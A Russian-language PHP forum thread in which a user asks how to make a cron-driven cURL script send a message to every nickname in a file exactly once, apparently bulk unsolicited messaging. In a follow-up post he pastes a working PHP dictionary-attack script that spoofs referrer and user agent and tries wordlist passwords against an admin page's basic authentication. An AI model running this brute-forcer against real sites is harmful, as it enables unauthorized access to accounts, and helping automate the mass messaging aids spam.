[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Сложная задача с txt
Frost-56
Лирическое отступление.
_____________________________________________________________________
Здравствуйте все кто помогали мне и кто пытается помочь.
На всем протяжении пребывания меня на этом форуме, было достаточно понять что именно здесь сидят профессионалы, которые готовы помочь любому человеку в любое время не зависимо от его проблемы и криворукости, что впринципе свойственно новичкам. Главная особенность, то что вы не только помогаете, но ещё и толкаете на путь истинный. Например админ (inpost) научил тому что никто не будет за тебя писать, если ты не будешь сам даже пытаться, а killer8080 научил писать грамотный и красивый код, да, именно те 10 заповедей программиста, а Winston просто добродушный человек, который готов каждому разъяснить что к чему одним коротким постом на этом форуме.
______________________________________________________________________

Тему создал не с проста.
Есть последняя проблема.

1. есть файл куда записываются ники пользователей.
2. есть скрипт (cURL) который делает авторизацию и сохраняет все в куки.
и главное:

3. файл который должен брать для авторизации куки, отправлять сообщение по нику и больше на этот ник не отсылать. Если в файле появился новый ник, шлем ему тоже. (запускать можно кроном).

На данный момент этот файл умеет юзать куки для авторизации, слать сообщение, но на тот ник, который указан в переменной.

Я думаю надо сделать как то перебор ников и как то их помечать чтобы больше не отсылать им сообщение.

Пока что не знаю как реализовать.
Заранее благодарю за Ваши ответы и подсказки.
(Есть возможность подключить 5 БД (MySQL)).



Спустя 3 минуты, 48 секунд (6.01.2012 - 04:26) Frost-56 написал(а):
Думал взять за основу код для брута:

<?php
$ref = "http://www.example.com/index.php"; // Set the referrer to spoof

$denied = "Forbidden"; // Set the "Denied" output

$wordlist = "/var/www/wordlist.txt"; // Set the wordlist location

set_time_limit ( 0 ); // Set script execution limit. 0 = no limit

$ch = curl_init( ); // Initialise cURL
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1); // Set FOLLOWLOCATION to TRUE
curl_setopt( $ch, CURLOPT_REFERER, $ref); // Set REFERER to $ref
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); // Spoof User Agent

foreach( file ( $wordlist ) as $password ) // Start the loop for dictionary attack
{
$force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
curl_setopt( $ch, CURLOPT_URL, $force ); // Load the URL to attack with cURL
$check = curl_exec( $ch ); // Set params to check
if( !strpos ( $denied, $check ) ) // Check to see if $denied is not in page
{
die ( "Success! The password is: {$password}" ); // If $denied returns false, success
}
}

curl_close( $ch ); // Close the cURL process
?>


но не понял как именно он выдирает строку из файла и толкает её в переменную.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.